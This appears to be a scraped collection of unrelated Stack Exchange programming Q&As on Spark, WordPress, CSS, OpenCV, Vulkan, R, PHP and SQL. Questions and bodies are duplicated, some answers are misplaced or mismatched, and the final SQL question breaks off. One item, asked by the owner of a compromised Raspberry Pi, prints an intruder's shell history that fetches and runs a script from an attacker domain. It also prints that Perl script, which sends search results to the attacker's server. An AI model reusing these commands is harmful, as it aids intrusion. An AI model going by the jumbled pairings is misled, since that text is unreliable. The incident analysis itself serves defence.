问:
How to Implement Spark Streaming Output with Sockets
I've been trying to implement this in Java:

```<code>dstream.foreachRDD { rdd =>
  rdd.foreachPartition { partitionOfRecords =>
    val connection = createNewConnection()
    partitionOfRecords.foreach(record => connection.send(record))
    connection.close()
  }
}
</code>```

for the types of examples that the Spark documentation provides.  The following works as expected:

```<code>import scala.Tuple2;
import com.google.common.collect.Lists;

import org.apache.spark.SparkConf;
import org.apache.spark.api.java.function.FlatMapFunction;
import org.apache.spark.api.java.function.Function2;
import org.apache.spark.api.java.function.PairFunction;
import org.apache.spark.api.java.StorageLevels;
import org.apache.spark.streaming.Durations;
import org.apache.spark.streaming.api.java.JavaDStream;
import org.apache.spark.streaming.api.java.JavaPairDStream;
import org.apache.spark.streaming.api.java.JavaReceiverInputDStream;
import org.apache.spark.streaming.api.java.JavaStreamingContext;
import org.apache.spark.api.java.JavaPairRDD;
import org.apache.spark.streaming.Time;

import java.util.regex.Pattern;
import java.io.IOException;

/**
* Counts words in UTF8 encoded, '\n' delimited text received from the network every second.
*
* Usage: JavaNetworkWordCount <hostname> <port>
* <hostname> and <port> describe the TCP server that Spark Streaming would connect to receive data.
*
* To run this on your local machine, you need to first run a Netcat server
*    `$ nc -lk 9999`
* and then run the example
*    `$ bin/run-example org.apache.spark.examples.streaming.JavaNetworkWordCount localhost 9999`
*/
public final class SocketWriter {
  private static final Pattern SPACE = Pattern.compile(" ");

  public static void main(String[] args) {
    if (args.length < 2) {
      System.err.println("Usage: JavaNetworkWordCount <hostname> <port>");
      System.exit(1);
    }

    // Create the context with a 1 second batch size
    SparkConf sparkConf = new SparkConf().setAppName("JavaNetworkWordCount");
    JavaStreamingContext ssc = new JavaStreamingContext(sparkConf, Durations.seconds(1));

    // Create a JavaReceiverInputDStream on target ip:port and count the
    // words in input stream of \n delimited text (eg. generated by 'nc')
    // Note that no duplication in storage level only for running locally.
    // Replication necessary in distributed scenario for fault tolerance.
    JavaReceiverInputDStream<String> lines = ssc.socketTextStream(
    args[0], Integer.parseInt(args[1]), StorageLevels.MEMORY_AND_DISK_SER);
    JavaDStream<String> words = lines.flatMap(new FlatMapFunction<String, String>() {
      @Override
      public Iterable<String> call(String x) {
        return Lists.newArrayList(SPACE.split(x));
      }
    });
    JavaPairDStream<String, Integer> wordCounts = words.mapToPair(
    new PairFunction<String, String, Integer>() {
      @Override
      public Tuple2<String, Integer> call(String s) {
        return new Tuple2<String, Integer>(s, 1);
      }
    }).reduceByKey(new Function2<Integer, Integer, Integer>() {
      @Override
      public Integer call(Integer i1, Integer i2) {
        return i1 + i2;
      }
    });

    wordCounts.foreachRDD(new Function2<JavaPairRDD<String, Integer>, Time, Void>() {
      @Override
      public Void call(JavaPairRDD<String, Integer> rdd, Time time) throws IOException {
        String counts = "Counts at time " + time + " " + rdd.collect();
        System.out.println(counts);
        return null;
      }
    });

    ssc.start();
    ssc.awaitTermination();
  }
}
</code>```

But I need to be able to output data to a socket by modifying this section to use the "design pattern" specified in Scala at the top of this question.

```<code>wordCounts.foreachRDD(new Function2<JavaPairRDD<String, Integer>, Time, Void>() {
  @Override
  public Void call(JavaPairRDD<String, Integer> rdd, Time time) throws IOException {
    String counts = "Counts at time " + time + " " + rdd.collect();
    System.out.println(counts);
    return null;
  }
});
</code>```

I tried to use Socket and PrintWriter objects here, but cannot make it work, and I can't find any examples of people doing this.  Any help is appreciated.

答:
I just show you question as I was trying to do the same, and finally I have done it! Probably is too late for you, but hope not for many other people.

As here in the official documentation says, I have not done it in the most optimal way, which is using a pool of connections so Spark would not have to open and close the connection for every RDD, but is still working, here is my code:

```<code>wordCounts.foreachRDD(new VoidFunction<JavaRDD<String>>() {
    public void call(JavaRDD<String> rdd) throws Exception {
        rdd.foreachPartition(new VoidFunction<Iterator<String>>() {
            public void call(Iterator<String> partitionOfRecords) throws Exception {
                Socket mySocket = new Socket("localhost", 9998);
                final PrintWriter out = new PrintWriter(mySocket.getOutputStream(), true);
                while(partitionOfRecords.hasNext()) {
                    out.println(partitionOfRecords.next());
                }
                mySocket.close();
            }
        });
    }
});
</code>```

Body:
I've been trying to implement this in Java:

dstream.foreachRDD { rdd =>
  rdd.foreachPartition { partitionOfRecords =>
    val connection = createNewConnection()
    partitionOfRecords.foreach(record => connection.send(record))
    connection.close()
  }
}

for the types of examples that the Spark documentation provides.  The following works as expected:

import scala.Tuple2;
import com.google.common.collect.Lists;

import org.apache.spark.SparkConf;
import org.apache.spark.api.java.function.FlatMapFunction;
import org.apache.spark.api.java.function.Function2;
import org.apache.spark.api.java.function.PairFunction;
import org.apache.spark.api.java.StorageLevels;
import org.apache.spark.streaming.Durations;
import org.apache.spark.streaming.api.java.JavaDStream;
import org.apache.spark.streaming.api.java.JavaPairDStream;
import org.apache.spark.streaming.api.java.JavaReceiverInputDStream;
import org.apache.spark.streaming.api.java.JavaStreamingContext;
import org.apache.spark.api.java.JavaPairRDD;
import org.apache.spark.streaming.Time;

import java.util.regex.Pattern;
import java.io.IOException;

/**
* Counts words in UTF8 encoded, '\n' delimited text received from the network every second.
*
* Usage: JavaNetworkWordCount <hostname> <port>
* <hostname> and <port> describe the TCP server that Spark Streaming would connect to receive data.
*
* To run this on your local machine, you need to first run a Netcat server
*    `$ nc -lk 9999`
* and then run the example
*    `$ bin/run-example org.apache.spark.examples.streaming.JavaNetworkWordCount localhost 9999`
*/
public final class SocketWriter {
  private static final Pattern SPACE = Pattern.compile(" ");

  public static void main(String[] args) {
    if (args.length < 2) {
      System.err.println("Usage: JavaNetworkWordCount <hostname> <port>");
      System.exit(1);
    }

    // Create the context with a 1 second batch size
    SparkConf sparkConf = new SparkConf().setAppName("JavaNetworkWordCount");
    JavaStreamingContext ssc = new JavaStreamingContext(sparkConf, Durations.seconds(1));

    // Create a JavaReceiverInputDStream on target ip:port and count the
    // words in input stream of \n delimited text (eg. generated by 'nc')
    // Note that no duplication in storage level only for running locally.
    // Replication necessary in distributed scenario for fault tolerance.
    JavaReceiverInputDStream<String> lines = ssc.socketTextStream(
    args[0], Integer.parseInt(args[1]), StorageLevels.MEMORY_AND_DISK_SER);
    JavaDStream<String> words = lines.flatMap(new FlatMapFunction<String, String>() {
      @Override
      public Iterable<String> call(String x) {
        return Lists.newArrayList(SPACE.split(x));
      }
    });
    JavaPairDStream<String, Integer> wordCounts = words.mapToPair(
    new PairFunction<String, String, Integer>() {
      @Override
      public Tuple2<String, Integer> call(String s) {
        return new Tuple2<String, Integer>(s, 1);
      }
    }).reduceByKey(new Function2<Integer, Integer, Integer>() {
      @Override
      public Integer call(Integer i1, Integer i2) {
        return i1 + i2;
      }
    });

    wordCounts.foreachRDD(new Function2<JavaPairRDD<String, Integer>, Time, Void>() {
      @Override
      public Void call(JavaPairRDD<String, Integer> rdd, Time time) throws IOException {
        String counts = "Counts at time " + time + " " + rdd.collect();
        System.out.println(counts);
        return null;
      }
    });

    ssc.start();
    ssc.awaitTermination();
  }
}

But I need to be able to output data to a socket by modifying this section to use the "design pattern" specified in Scala at the top of this question.

wordCounts.foreachRDD(new Function2<JavaPairRDD<String, Integer>, Time, Void>() {
  @Override
  public Void call(JavaPairRDD<String, Integer> rdd, Time time) throws IOException {
    String counts = "Counts at time " + time + " " + rdd.collect();
    System.out.println(counts);
    return null;
  }
});

I tried to use Socket and PrintWriter objects here, but cannot make it work, and I can't find any examples of people doing this.  Any help is appreciated.

Body:
I just show you question as I was trying to do the same, and finally I have done it! Probably is too late for you, but hope not for many other people.

As here in the official documentation says, I have not done it in the most optimal way, which is using a pool of connections so Spark would not have to open and close the connection for every RDD, but is still working, here is my code:

wordCounts.foreachRDD(new VoidFunction<JavaRDD<String>>() {
    public void call(JavaRDD<String> rdd) throws Exception {
        rdd.foreachPartition(new VoidFunction<Iterator<String>>() {
            public void call(Iterator<String> partitionOfRecords) throws Exception {
                Socket mySocket = new Socket("localhost", 9998);
                final PrintWriter out = new PrintWriter(mySocket.getOutputStream(), true);
                while(partitionOfRecords.hasNext()) {
                    out.println(partitionOfRecords.next());
                }
                mySocket.close();
            }
        });
    }
});


来源: stackexchange

问:
How do I create the category pages?
I'm doing something similar. I have a recipe blog and I will have different categories such as breakfast, dessert, lunch, etc... But I don't know how to link them the category pages. For example, If the users click "see all" for the breakfast category, it will show all breakfast post from the breakfast category. So that means it will link to the main breakfast category page. For each category i will show 10 recent post so the users is not seeing all post. So they have the option to see all the post if they click the "see all" link. It will link them to the main category page with all breakfast post. Of course if they click the dessert "see all" link, it will link them to the dessert category page which they can see all dessert posts.

This is my current code:
(but what php code should i put for the "see all" link? IF you take a look at my "see all" a tag, it's # right now. It's not linking to somewhere, but how do i make it dynamic to link to the categories pages. So for example if i'm in the dessert section, if i click "see all" it will link to the dessert category. )

Please also take a look at my design

<?php

get_header();

?>

 <?php
 /*
  * Loop through Categories and Display Posts within
  */
 $post_type = 'recipe';
 $category_link = get_category_link($cat->cat_ID);

 // Get all the taxonomies for this post type
 $taxonomies = get_object_taxonomies( array( 'post_type' => $post_type ) );

 foreach( $taxonomies as $taxonomy ) :

     // Gets every "category" (term) in this taxonomy to get the respective posts
     $terms = get_terms( $taxonomy );

     foreach( $terms as $term ) : ?>

<?php echo $term->name; ?>see all

          <?php
          $args = array(
                  'post_type' => $post_type,
                  'posts_per_page' => 10,  //show all posts
                  'tax_query' => array(
                      array(
                          'taxonomy' => $taxonomy,
                          'field' => 'slug',
                          'terms' => $term->slug,
                      )
                  )

              );
          $posts = new WP_Query($args);

          if( $posts->have_posts() ): while( $posts->have_posts() ) : $posts->the_post(); ?>

              ">
                  <img src="<?php echo(types_render_field('artwork', array('raw' => true) )); ?>">

<?php the_title(); ?>

                <?php endwhile; endif; ?>

       <?php endforeach;

   endforeach; ?>

<?php

get_footer();

?>```

Please see the example that I provided, so you know what i'm talking about.
I have attach some images and link.

This is the example of the links.

This is the blog link

https://iamsteve.me/blog

Design Category link

https://iamsteve.me/blog/category/design

An example what I want

答:
If you try to link to each category page, you can use get_term_link() like so:

```<code>$category_page_link = get_term_link($term);

<h2><?php echo $term->name; ?><a href="<?php echo esc_url( $category_page_link ); ?>">see all</a></h2>
</code>```

The above goes inside the second foreach loop.

EDIT:

This is the full code, I put the function get_term_link() where it should be. Also you had some problems with opening/closing html tags:

```<code><?php get_header(); ?>

<?php
/*
 * Loop through Categories and Display Posts within
 */
$post_type = 'recipe';
$category_link = get_category_link($cat->cat_ID);

// Get all the taxonomies for this post type
$taxonomies = get_object_taxonomies( array( 'post_type' => $post_type ) );
?>
<section class="recipe-wrap">

<?php foreach ( $taxonomies as $taxonomy ) :

    // Gets every "category" (term) in this taxonomy to get the respective posts
    $terms = get_terms( $taxonomy );

    foreach( $terms as $term ) :
        $term_page_link = get_term_link($term); ?>

        <div class="recipe-category owl-carousel-slide">
            <div class="row">
                <h2><?php echo $term->name; ?><a href="<?php echo esc_url ( $term_page_link ); ?>">see all</a></h2>
                <div class="recipe-category-carousel owl-carousel owl-theme">
                    <?php
                    $args  = array(
                        'post_type'      => $post_type,
                        'posts_per_page' => 10,  //show all posts
                        'tax_query'      => array(
                            array(
                                'taxonomy' => $taxonomy,
                                'field'    => 'slug',
                                'terms'    => $term->slug,
                            )
                        )

                    );
                    $posts = new WP_Query( $args );

                    if ( $posts->have_posts() ):
                        while ( $posts->have_posts() ) : $posts->the_post(); ?>
                            <div class="item recipe-box">
                                <a href="<?php the_permalink(); ?>">
                                    <img src="<?php echo( types_render_field( 'artwork', array( 'raw' => true ) ) ); ?>">
                                    <p><?php the_title(); ?></p>
                                </a>
                            </div>
                        <?php endwhile; ?>
                    <?php endif; ?>

                </div><!-- .owl-theme -->
            </div><!-- .row -->
        </div><!-- owl-carousel-slide -->

    <?php endforeach; // terms loop ?>

<?php endforeach; // taxonomies loop ?>

</section><!-- /recipe -->

<?php get_footer(); ?>
</code>```

Hope that helps.

ContentLicense: CC BY-SA 3.0

Title: How do I create the category pages?

Body:
I'm doing something similar. I have a recipe blog and I will have different categories such as breakfast, dessert, lunch, etc... But I don't know how to link them the category pages. For example, If the users click "see all" for the breakfast category, it will show all breakfast post from the breakfast category. So that means it will link to the main breakfast category page. For each category i will show 10 recent post so the users is not seeing all post. So they have the option to see all the post if they click the "see all" link. It will link them to the main category page with all breakfast post. Of course if they click the dessert "see all" link, it will link them to the dessert category page which they can see all dessert posts.

This is my current code:
(but what php code should i put for the "see all" link? IF you take a look at my "see all" a tag, it's # right now. It's not linking to somewhere, but how do i make it dynamic to link to the categories pages. So for example if i'm in the dessert section, if i click "see all" it will link to the dessert category. )

Please also take a look at my design

<?php

get_header();

?>

 <?php
 /*
  * Loop through Categories and Display Posts within
  */
 $post_type = 'recipe';
 $category_link = get_category_link($cat->cat_ID);

 // Get all the taxonomies for this post type
 $taxonomies = get_object_taxonomies( array( 'post_type' => $post_type ) );

 foreach( $taxonomies as $taxonomy ) :

     // Gets every "category" (term) in this taxonomy to get the respective posts
     $terms = get_terms( $taxonomy );

     foreach( $terms as $term ) : ?>

<?php echo $term->name; ?>see all

          <?php
          $args = array(
                  'post_type' => $post_type,
                  'posts_per_page' => 10,  //show all posts
                  'tax_query' => array(
                      array(
                          'taxonomy' => $taxonomy,
                          'field' => 'slug',
                          'terms' => $term->slug,
                      )
                  )

              );
          $posts = new WP_Query($args);

          if( $posts->have_posts() ): while( $posts->have_posts() ) : $posts->the_post(); ?>

              <a href="<?php the_permalink(); ?>">
                  <img src="<?php echo(types_render_field('artwork', array('raw' => true) )); ?>">

<?php the_title(); ?>

                <?php endwhile; endif; ?>

       <?php endforeach;

   endforeach; ?>

<?php

get_footer();

?>

Please see the example that I provided, so you know what i'm talking about.
I have attach some images and link.

This is the example of the links.

This is the blog link

https://iamsteve.me/blog

Design Category link

https://iamsteve.me/blog/category/design

An example what I want

Body:
If you try to link to each category page, you can use get_term_link() like so:

$category_page_link = get_term_link($term);

<h2><?php echo $term->name; ?><a href="<?php echo esc_url( $category_page_link ); ?>">see all</a></h2>

The above goes inside the second foreach loop.

EDIT:

This is the full code, I put the function get_term_link() where it should be. Also you had some problems with opening/closing html tags:

<?php get_header(); ?>

<?php
/*
 * Loop through Categories and Display Posts within
 */
$post_type = 'recipe';
$category_link = get_category_link($cat->cat_ID);

// Get all the taxonomies for this post type
$taxonomies = get_object_taxonomies( array( 'post_type' => $post_type ) );
?>
<section class="recipe-wrap">

<?php foreach ( $taxonomies as $taxonomy ) :

    // Gets every "category" (term) in this taxonomy to get the respective posts
    $terms = get_terms( $taxonomy );

    foreach( $terms as $term ) :
        $term_page_link = get_term_link($term); ?>

        <div class="recipe-category owl-carousel-slide">
            <div class="row">
                <h2><?php echo $term->name; ?><a href="<?php echo esc_url ( $term_page_link ); ?>">see all</a></h2>
                <div class="recipe-category-carousel owl-carousel owl-theme">
                    <?php
                    $args  = array(
                        'post_type'      => $post_type,
                        'posts_per_page' => 10,  //show all posts
                        'tax_query'      => array(
                            array(
                                'taxonomy' => $taxonomy,
                                'field'    => 'slug',
                                'terms'    => $term->slug,
                            )
                        )

                    );
                    $posts = new WP_Query( $args );

                    if ( $posts->have_posts() ):
                        while ( $posts->have_posts() ) : $posts->the_post(); ?>
                            <div class="item recipe-box">
                                <a href="<?php the_permalink(); ?>">
                                    <img src="<?php echo( types_render_field( 'artwork', array( 'raw' => true ) ) ); ?>">
                                    <p><?php the_title(); ?></p>
                                </a>
                            </div>
                        <?php endwhile; ?>
                    <?php endif; ?>

                </div><!-- .owl-theme -->
            </div><!-- .row -->
        </div><!-- owl-carousel-slide -->

    <?php endforeach; // terms loop ?>

<?php endforeach; // taxonomies loop ?>

</section><!-- /recipe -->

<?php get_footer(); ?>

Hope that helps.


问:
Media Queries won't work when I exit chrome responsive inspector and resize the page

This is the css media query in question .... I worked on the media queries while inspecting the page and using Chrome's responsive selection. Everything looks really nice when I have the inspector open, but when I close the inspector and resize the page to something below 480px it doesn't hold any of the media queries that were previously working. Any suggestions on why this might be happening?

I tried to view page source and refresh the css file manually.

HTML Head and then CSS

```<code><head>
    <title>company name here</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css?family=Libre+Baskerville"
    rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?
    family=Josefin+Sans|Libre+Baskerville" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?
    family=Cinzel|Josefin+Sans|Libre+Baskerville" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?
    family=Cinzel|Josefin+Sans|Libre+Baskerville|Yellowtail"
    rel="stylesheet">
    <link rel="stylesheet" href="css/home.css">
    <script
   src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
    </script>
    <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
    <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
</head>

@media only screen and (max-device-width: 480px)
{
.logoContainer
{
   height: 50px;
   width: 30%;
   font-size: 1em;

}

#headerBoxRight
{
    margin-right: 5%;
}

#bannerPictures
{
    width: 100%;
}

.wantItGone
{
    width: 50%;
    font-size: 2.1em;
    float: left;
    margin-left: -30px;
}

.gotYouCovered
{
    width: 40%;
    margin-left: -160px;
}

.aboutSection
{
    height: 250px;
}
.carboneauPicture
{
    width: 38%;
    height: 160px;
    margin-left: 10px;
    margin-top: 40px;
}

.aboutUs
{
     height: 200px;
    padding: 1%;
    margin-top: 20px;
}
/* H3 inside of about us section */
body > div.aboutSection > div.aboutUs > h3
{
    margin-top: 1%;
    margin-bottom: 1%;
}

.servicesOfferedHeader
{
    height: 100px;
    width: 42%;
    text-align: center;
}

.servicesMenuList
{
    margin-right: 100px;
}

.servicesOfferedBox
{
    clear: left;
    width: 90%;
}

#footer
{
    width: 100%;
    height: 200px;
    clear:both;
}

.wantItGoneFooter
{
    font-size: 1.4em;
    margin-left: 5%;
}

.gotYouCoveredFooter
{
    width: 40%;
    margin-left: 22%;
    font-size: .7em;
    margin-top: 28%;
}

#contactContainer
{
    height: 180px;
}

.logoContainerFooter
{
    margin-left: 0px;
    margin-top: 50px;
    height: 10%;
    font-size: .6em;
}

.emailUs
{
    font-size: .5em;
    margin-left: 25%;
    float: left;
}
</code>```

}

答:
Replace max-device-width for max-width, min/max-device-width is already deprecated

Deprecated

This feature has been removed from the Web standards. Though some
  browsers may still support it, it is in the process of being dropped.
  Avoid using it and update existing code if possible; see the
  compatibility table at the bottom of this page to guide your decision.
  Be aware that this feature may cease to work at any time.

You can see more info about the difference between min/max-width and min/max-device-width in this answer, and you'll find out that it works when the chrome inspector is ON because it emulates the device type - in this case grid-based, browser can't do that.

Body:
This is the css media query in question .... I worked on the media queries while inspecting the page and using Chrome's responsive selection. Everything looks really nice when I have the inspector open, but when I close the inspector and resize the page to something below 480px it doesn't hold any of the media queries that were previously working. Any suggestions on why this might be happening?

I tried to view page source and refresh the css file manually.

HTML Head and then CSS

    <title>company name here</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css?family=Libre+Baskerville"
    rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?
    family=Josefin+Sans|Libre+Baskerville" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?
    family=Cinzel|Josefin+Sans|Libre+Baskerville" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?
    family=Cinzel|Josefin+Sans|Libre+Baskerville|Yellowtail"
    rel="stylesheet">
    <link rel="stylesheet" href="css/home.css">

@media only screen and (max-device-width: 480px)
{
.logoContainer
{
   height: 50px;
   width: 30%;
   font-size: 1em;

}

#headerBoxRight
{
    margin-right: 5%;
}

#bannerPictures
{
    width: 100%;
}

.wantItGone
{
    width: 50%;
    font-size: 2.1em;
    float: left;
    margin-left: -30px;
}

.gotYouCovered
{
    width: 40%;
    margin-left: -160px;
}

.aboutSection
{
    height: 250px;
}
.carboneauPicture
{
    width: 38%;
    height: 160px;
    margin-left: 10px;
    margin-top: 40px;
}

.aboutUs
{
     height: 200px;
    padding: 1%;
    margin-top: 20px;
}
/* H3 inside of about us section */
body > div.aboutSection > div.aboutUs > h3
{
    margin-top: 1%;
    margin-bottom: 1%;
}

.servicesOfferedHeader
{
    height: 100px;
    width: 42%;
    text-align: center;
}

.servicesMenuList
{
    margin-right: 100px;
}

.servicesOfferedBox
{
    clear: left;
    width: 90%;
}

#footer
{
    width: 100%;
    height: 200px;
    clear:both;
}

.wantItGoneFooter
{
    font-size: 1.4em;
    margin-left: 5%;
}

.gotYouCoveredFooter
{
    width: 40%;
    margin-left: 22%;
    font-size: .7em;
    margin-top: 28%;
}

#contactContainer
{
    height: 180px;
}

.logoContainerFooter
{
    margin-left: 0px;
    margin-top: 50px;
    height: 10%;
    font-size: .6em;
}

.emailUs
{
    font-size: .5em;
    margin-left: 25%;
    float: left;
}

}


问:
How do I build OpenCV with TBB?
I'm trying and failing to make opencv_traincascade use multiple threads. The only documentation I can find says to "build OpenCV with TBB". I'm not sure if I'm failing to successfully build OpenCV with TBB, or whether there's some flag I need to set for opencv_traincascade.

I've downloaded the OpenCV version 2.3.1 windows superpack and tbb40_20111003oss_win.zip, which I extracted to C:\tbb40_20111003oss. I then generated VC8 .sln and .proj files using CMake, setting

WITH_TBB: ON

TBB_INCLUDE_DIR:PATH=C:\tbb40_20111003oss\include

TBB_LIB_DIR:PATH=C:/tbb40_20111003oss/lib/intel64/vc8

OpenCV then builds without errors, but when I run opencv_traincascade it's singlethreaded. Does anyone know what I'm doing wrong?

答:
Also, one touch point is the installation of Intel TBB on the system:</p>

```<code>$ sudo apt-get install libtbb-dev
</code>```

Title: How do I build OpenCV with TBB?

Body:
Also, one touch point is the installation of Intel TBB on the system:

$ sudo apt-get install libtbb-dev


答:
It reads the file passed on the command line, and uses each line as a phrase to do a Bing search. It prints the URL of every search result returned by Bing, and also sends it to http://post.silverlords.org/sites.php?site=$save where $saveis the URL

It used to write the same URLs to the output.HH.MM.SS.txt files, but that line has been commented out so the files are created but left empty

So it's just a command-line bing search; nothing too sinister. Essentially nothing that they couldn't run on any machine that has access to bing

Title: After securing my webserver (rpi) from foreign ssh logins, I found this perl script on my computer. Can someone tell me what it does?

Body:
There was an account named "user" that would be used for these logins, which would be from all over the world. I spent several hours yesterday securing the computer and there have been no logins since that time.  I awked the /var/log/auth.log into a list of ips ordered from oldest to most recent login, if that somehow helps:

    185.145.252.26
    185.145.252.36
    109.236.83.3
    104.167.2.4
    217.23.13.125
    185.38.148.238
    194.88.106.146
    43.225.107.70
    194.88.107.163
    192.162.101.217
    62.112.11.88
    194.63.141.141
    194.88.107.162
    74.222.19.247
    194.88.107.164
    178.137.184.237
    167.114.210.108
    5.196.76.41
    118.70.72.25
    109.236.91.85
    62.112.11.222
    91.195.103.172
    62.112.11.94
    62.112.11.90
    188.27.75.73
    194.88.106.197
    194.88.107.165
    38.84.132.236
    91.197.235.11
    62.112.11.79
    62.112.11.223
    144.76.112.21
    185.8.7.144
    91.230.47.91
    91.230.47.92
    91.195.103.189
    91.230.47.89
    91.230.47.90
    109.236.89.72
    195.228.11.82
    109.236.92.184
    46.175.121.38
    94.177.190.188
    171.251.76.179
    173.212.230.79
    144.217.75.30
    5.141.202.235
    31.207.47.36
    62.112.11.86
    217.23.2.183
    217.23.1.87
    154.122.98.44
    41.47.42.128
    41.242.137.33
    171.232.175.131
    41.114.123.190
    1.54.115.72
    108.170.8.185
    86.121.85.122
    91.197.232.103
    160.0.224.69
    217.23.2.77
    212.83.171.102
    41.145.17.243
    62.112.11.81
    82.79.252.36
    41.114.63.134
    5.56.133.126
    109.120.131.106
    76.68.108.151
    113.20.108.27
    46.246.61.20
    146.185.28.52
    45.32.219.199

One of the first things I did after changing the password of the "user" account was running history, which gave me this result:

1  sudo
2  sudo
3  sudo service vsftpd stop
4  su clay
5  unset PROMPT_COMMAND
6  PS1='[PEXPECT]\$'
7  wget http://xpl.silverlords.org/bing -O bing
8  wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word
9  wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word
10  uname
11  n
12  uname
13  history

I then ran cat /home/user/.bash_history for more but what I already had was all that was in the file.

In "user"'s home folder, I found four files, bing,  output.13.19.27.txt , output.16.10.38.txt, and  word.  All were empty except bing, which was a perl script:

#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use LWP::Simple;
use POSIX qw(strftime);
my $data = strftime "%H.%M.%S", gmtime;

my $ARGC = @ARGV;
if ($ARGC !=1) {
        printf "$0 arquivo.txt\n";
        printf "Coded by: Al3xG0 x@~\n";
        exit(1);
}
my $st = rand();
my $filename = $ARGV[0];
print "Input Filename - $filename\n";

my $max_results = 2;

open (IFH, "< $filename") or die $!;
open (OFH, "> output.${data}.txt") or die $!;

while (<IFH>) {
        next if /^ *$/;
        my $search_word = $_;
        $search_word =~ s/\n//;
        print "Results for -$search_word-\n";
        for (my $i = 0; $i < $max_results; $i += 10) {
                my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
                $b->timeout(30); $b->env_proxy;
                my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content;
                my $check = index($c, 'sb_pagN');
                if ($check == -1) { last; }
                while (1) {
                        my $n = index($c, '
<a href="');
                        if ($n == -1) { last; }
                        $c = substr($c, $n + 13);
                        my $s = substr($c, 0, index($c, '"'));
                        my $save = undef;
                        if ($s =~ /http:\/\/([^\/]+)\//g) { $save = $s; }
                        print "$save\n";
                        #if ($save !~ /^ *$/) { print OFH "$save\n"; print "$save\n"};
                        getprint("http://post.silverlords.org/sites.php?site=$save");
                }
        }
        print "\n";
}
close (IFH);
close (OFH);

I don't know perl, and after spending so much time with sshd config, blacklists, etc., I don't really have the time or energy to learn.  If anyone could tell me what the script does and/or what the attackers were trying to do that would be great.

Thanks so much,

Clay

EDIT: I found this article that could explain the purpose of the bing search script: https://www.wired.com/2013/02/microsoft-bing-fights-botnets/


问:
How do you install the Vulkan validation layers on Windows?
I am following the instructions on the Vulkan-LoaderAndValidationLayers github:
https://github.com/KhronosGroup/Vulkan-LoaderAndValidationLayers/blob/master/layers/README.md

I've built the layers, copied the DLLs next to my executable (for test purposes, will setup the path later), created a vk_layer_settings.txt (also alongside my executable), and set the layer names in my VK_INSTANCE_LAYERS env. var.

But no matter what I do the array returned by vkEnumerateInstanceLayerProperties does not contain any validation layers.

What magic step have I missed? This is Windows 8.1 running on a Nvidia 970M

答:
Aside from the DLLs, the loader also needs to find the appropriate layer manifest json files.

Easiest way is to just set the VK_LAYER_PATH environment variable to the release build output folder of the validation layer project you cloned from github like this:

VK_LAYER_PATH=X:\YOUR-PATH-HERE\build\layers\Release

The loader will then load the validation layers form that folder, and you'll always be using the most recent layer version.


问:
R's hier.part() depends on predictor order
I've tried to use the hier.part R package (and it's hier.part() function) to estimate independent contributions of the variables. Suddenly I've experienced a strong dependence on the predictor order.

There is a paper (http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0011698 ) reporting similar behavior for more than 9 predictors. Package's documentation also reports "minor rounding error" for 9-12 predictors. But I've experienced it even in package's example with 4 independent variables.

```<code>> library(hier.part)
> data(amphipod)
> env1 <- amphipod[,2:5]
> hier.part(amphipod$australis, env1, fam = "binomial",
+           gof = "logLik", barplot=F)$I.perc
              I
fimp   19.74685
fconn  18.24679
densep 25.24765
unseal 36.75871
> hier.part(amphipod$australis, env1[,c(4,3,2,1)], fam = "binomial",
+           gof = "logLik", barplot=F)$I.perc
              I
unseal 16.16072
densep 17.98755
fconn  32.00246
fimp   33.84927
</code>```

In addition, the exact values are not stable between calls. The function uses C code (in partition() call) and at least the  "between calls stability" issue can be attributed to it, because all the relevant R code is deterministic.

答: this time, your problem is not shown in my R. The two I$perc are the same.-Chenxi</p>

Body:
I've tried to use the hier.part R package (and it's hier.part() function) to estimate independent contributions of the variables. Suddenly I've experienced a strong dependence on the predictor order.

There is a paper (http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0011698 ) reporting similar behavior for more than 9 predictors. Package's documentation also reports "minor rounding error" for 9-12 predictors. But I've experienced it even in package's example with 4 independent variables.

> library(hier.part)
> data(amphipod)
> env1 <- amphipod[,2:5]
> hier.part(amphipod$australis, env1, fam = "binomial",
+           gof = "logLik", barplot=F)$I.perc
              I
fimp   19.74685
fconn  18.24679
densep 25.24765
unseal 36.75871
> hier.part(amphipod$australis, env1[,c(4,3,2,1)], fam = "binomial",
+           gof = "logLik", barplot=F)$I.perc
              I
unseal 16.16072
densep 17.98755
fconn  32.00246
fimp   33.84927

In addition, the exact values are not stable between calls. The function uses C code (in partition() call) and at least the  "between calls stability" issue can be attributed to it, because all the relevant R code is deterministic.


问:
Stateful workflow engine in PHP?
Anyone knows some state-full work-flow engine in PHP ? I'm talking about the kind also known as document-centric (oriented) or content-centric (oriented). ezC and the like are all activity based and I'm not looking for process modeling !

答:
formapro/pvm could be used without persistence storage and with it. There is a mongo storage supported out of the box.

The formapro/pvm also supports parallel task execution (if configured). To use it you need both persistent storage and a message queue library installed and configured.

Title: Stateful workflow engine in PHP?


问:
How insert parent and child record in one column in sql?
I need to put the parent child records in one column to  other table  with that ids. and
I tried this:

```<code>select parent.Parent,child1.child1,Child2.child2
from parent
join Child1 on child1.ParentIdId=parent.ParentID
join Child2  on child1.child1Id=child2.child1Id`

Create table parent (ParentID int, Parent varchar(10))

Create table Child1 (child1Id int, child1 varchar(10), ParentIdId int)
Create table Child2 (child2Id int, child2 varchar(10), child1Id int)

insert into parent values(10,'Sony'),(20,'Apple'),(30,'HTC'),(40,'Nexus')
